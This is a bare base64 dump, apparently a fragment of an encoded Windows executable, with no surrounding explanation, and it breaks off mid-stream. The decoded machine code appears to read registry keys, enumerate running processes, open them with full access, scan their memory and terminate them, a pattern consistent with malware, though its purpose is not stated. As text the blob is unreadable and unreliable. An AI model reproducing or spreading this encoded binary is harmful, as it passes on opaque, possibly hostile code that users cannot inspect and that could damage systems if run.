AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFWL7IPsFItF EFNWM/ZXM9uJdeyJdfiJRfA7dRAPjW8BAACLRfBqA1o7wolV9H0DiUX0i030uD09PT2Nffxm q4XJqn4Vi0UIjX38A/CLwcHpAvOli8gjyvOkik38isHA6AKF24hF/3Qmi30Uhf9+J4vDi3UM K0X4mff/hdJ1G8YEMw1DxgQzCkODRfgC6wuLdQyLfRTrA4t1DA+2Rf+LFTDwQACA4QPA4QSK BBCIBDOKRf2K0EPA6gQCyoXbdCGF/34di8MrRfiZ9/+F0nUOxgQzDUPGBDMKQ4NF+AKKRf2L FTDwQAAkDw+2ycDgAooMEYgMM4pN/orRQ8DqBgLChduIRf90HoX/fhqLwytF+Jn3/4XSdQ7G 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 